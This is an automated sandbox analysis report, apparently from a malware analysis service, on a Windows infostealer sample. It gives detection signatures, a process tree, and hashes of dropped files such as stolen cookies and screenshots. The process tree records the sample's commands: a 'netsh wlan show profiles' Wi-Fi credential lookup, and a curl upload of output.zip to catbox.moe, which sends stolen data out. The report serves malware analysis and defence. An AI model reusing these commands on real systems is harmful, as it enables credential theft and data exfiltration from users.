Analysis

  • max time kernel
    150s
  • max time network
    113s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/07/2026, 01:19

General

  • Target
    2026-07-30_a4e2d4cfe8faceb393549908009ddc53_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
  • Size 99.0MB
  • Sample260730-bpn8eswfrd
  • SHA256 b319d8cdedde4f0788f07043d09c690e6dc08b483cfaca04c7c254e64db9a124
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
  • Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 1 IoCs
  • Detects executables Discord URL observed in first stage droppers 1 IoCs
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Detects executables containing possible sandbox analysis VM names 1 IoCs
  • Detects executables containing possible sandbox analysis VM usernames 1 IoCs
  • Detects executables referencing many IR and analysis tools 1 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 2 IoCs
  • Looks for VMWare Tools registry key 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 8 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-30_a4e2d4cfe8faceb393549908009ddc53_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-30_a4e2d4cfe8faceb393549908009ddc53_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3712
    • C:\Users\Admin\AppData\Local\Programs\Common\UpdateHost.exe
      C:\Users\Admin\AppData\Local\Programs\Common\UpdateHost.exe
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Looks for VirtualBox Guest Additions in registry
      • Looks for VMWare Tools registry key
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks processor information in registry
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3376
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c netsh wlan show profiles
        3⤵
        • Executes a command shell one-liner
        • System Network Configuration Discovery: Wi-Fi Discovery
        • Suspicious use of WriteProcessMemory
        PID:4220
        • C:\Windows\system32\netsh.exe
          netsh wlan show profiles
          4⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Network Configuration Discovery: Wi-Fi Discovery
          PID:3508
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c netsh wlan show profiles
        3⤵
        • Executes a command shell one-liner
        • System Network Configuration Discovery: Wi-Fi Discovery
        • Suspicious use of WriteProcessMemory
        PID:3392
        • C:\Windows\system32\netsh.exe
          netsh wlan show profiles
          4⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Network Configuration Discovery: Wi-Fi Discovery
          PID:4228
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl.exe -s -F "reqtype=fileupload" -F "fileToUpload=@C:\Users\Admin\AppData\Local\Temp\output.zip" https://catbox.moe/user/api.php > "C:\Users\Admin\AppData\Local\Temp\catbox_out_240775484.txt"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5136
        • C:\Windows\system32\curl.exe
          curl.exe -s -F "reqtype=fileupload" -F "fileToUpload=@C:\Users\Admin\AppData\Local\Temp\output.zip" https://catbox.moe/user/api.php
          4⤵
            PID:5552
      • C:\Windows\system32\cmd.exe
        cmd.exe /c C:\Users\Admin\AppData\Local\Temp\sys_clean_1b5ecf23.bat
        2⤵
        • Executes a command shell one-liner
        PID:4596
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinUpdate32.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinUpdate32.exe
      1⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Looks for VirtualBox Guest Additions in registry
      • Looks for VMWare Tools registry key
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks processor information in registry
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1856
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c netsh wlan show profiles
        2⤵
        • Executes a command shell one-liner
        • System Network Configuration Discovery: Wi-Fi Discovery
        • Suspicious use of WriteProcessMemory
        PID:4472
        • C:\Windows\system32\netsh.exe
          netsh wlan show profiles
          3⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Network Configuration Discovery: Wi-Fi Discovery
          PID:5704
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c netsh wlan show profiles
        2⤵
        • Executes a command shell one-liner
        • System Network Configuration Discovery: Wi-Fi Discovery
        • Suspicious use of WriteProcessMemory
        PID:6128
        • C:\Windows\system32\netsh.exe
          netsh wlan show profiles
          3⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Network Configuration Discovery: Wi-Fi Discovery
          PID:4824
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl.exe -s -F "reqtype=fileupload" -F "fileToUpload=@C:\Users\Admin\AppData\Local\Temp\output.zip" https://catbox.moe/user/api.php > "C:\Users\Admin\AppData\Local\Temp\catbox_out_240795562.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1228
        • C:\Windows\system32\curl.exe
          curl.exe -s -F "reqtype=fileupload" -F "fileToUpload=@C:\Users\Admin\AppData\Local\Temp\output.zip" https://catbox.moe/user/api.php
          3⤵
            PID:3008
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k GPSvcGroup
        1⤵
          PID:2296

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              UpdateHost.exe

              • Path C:\Users\Admin\AppData\Local\Programs\Common\UpdateHost.exe
              • Size 1.7MB
              • SHA256 243db168e81d28850cc6b7e0f33026fcf4e313cabdb433cf94062921ba9858a5
              • MD5 SHA1 SHA512 SSDEEP TLSH

              cookies_early.zip

              • Path C:\Users\Admin\AppData\Local\Temp\cookies_early.zip
              • Size 476KB
              • SHA256 c4e9094afe640a30e24ec88caa019b816f08490087fb90bda19c642e39f37738
              • MD5 SHA1 SHA512 SSDEEP TLSH

              dummy.zip

              • Path C:\Users\Admin\AppData\Local\Temp\dummy.zip
              • Size 22B
              • SHA256 8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85
              • MD5 SHA1 SHA512

              screen_tmp.png

              • Path C:\Users\Admin\AppData\Local\Temp\screen_tmp.png
              • Size 64KB
              • SHA256 abec2ed9cb3014c5918bf76fd9aa0e88123ef3ccfbc558181625151b3cbde052
              • MD5 SHA1 SHA512 SSDEEP TLSH

              screen_tmp.png

              • Path C:\Users\Admin\AppData\Local\Temp\screen_tmp.png
              • Size 423KB
              • SHA256 c25337e814867b6436fe1c949e625ae6f01e4e34db1c06615b61b95376dcc86a
              • MD5 SHA1 SHA512 SSDEEP TLSH

              stealer_debug.log

              • Path C:\Users\Admin\AppData\Local\Temp\stealer_debug.log
              • Size 507B
              • SHA256 77687825e4aff71e370d3f96b5a77f3ee1feb3bf3949736a578d28e72ed8a608
              • MD5 SHA1 SHA512 TLSH

              stealer_debug.log

              • Path C:\Users\Admin\AppData\Local\Temp\stealer_debug.log
              • Size 705B
              • SHA256 69911830a75e308a561103c034db3d14f5a58fa64976b5a9648cb1e1bdeda61f
              • MD5 SHA1 SHA512 TLSH

              stealer_debug.log

              • Path C:\Users\Admin\AppData\Local\Temp\stealer_debug.log
              • Size 1KB
              • SHA256 38cde50fecf3d6e6d26c003ea12e116f52f32967152b87111e8613faaf2b5dc1
              • MD5 SHA1 SHA512 TLSH

              stealer_debug.log

              • Path C:\Users\Admin\AppData\Local\Temp\stealer_debug.log
              • Size 1KB
              • SHA256 05d1424dfbf2c28b8e730037241320d6a479d5dd54240d72b6f8630e8c373e4e
              • MD5 SHA1 SHA512 TLSH

              stealer_debug.log

              • Path C:\Users\Admin\AppData\Local\Temp\stealer_debug.log
              • Size 1KB
              • SHA256 b251e00c74ecbe3b1d7f6879324cac8ea773d580d1b2473469f4691ec033ba2f
              • MD5 SHA1 SHA512 TLSH

              stealer_debug.log

              • Path C:\Users\Admin\AppData\Local\Temp\stealer_debug.log
              • Size 1KB
              • SHA256 4462aa30f3c68611d0fd84be20437f24a7aac2b77d9031e7e5a7316c14985c69
              • MD5 SHA1 SHA512 TLSH

              stealer_debug.log

              • Path C:\Users\Admin\AppData\Local\Temp\stealer_debug.log
              • Size 1KB
              • SHA256 0d27e1cd1ee77dbb90839ea1ef66a57eaef2ef26a84ee9d3a30163623139bbd4
              • MD5 SHA1 SHA512 TLSH

              stealer_debug.log

              • Path C:\Users\Admin\AppData\Local\Temp\stealer_debug.log
              • Size 2KB
              • SHA256 3a6e45b8975719b94878e44a361f7f6329ecf3c465edea61d50347d486d2d1c9
              • MD5 SHA1 SHA512 TLSH

              stealer_debug.log

              • Path C:\Users\Admin\AppData\Local\Temp\stealer_debug.log
              • Size 2KB
              • SHA256 47fd691633cb870599ced094410a4482cb25cb464a1c75918e6273f752748c75
              • MD5 SHA1 SHA512 TLSH

              sys_clean_1b5ecf23.bat

              • Path C:\Users\Admin\AppData\Local\Temp\sys_clean_1b5ecf23.bat
              • Size 179B
              • SHA256 f7a67e4c228b805632d93de7cc6869bb6e266d665c84b69057e4806fb4b1d914
              • MD5 SHA1 SHA512 TLSH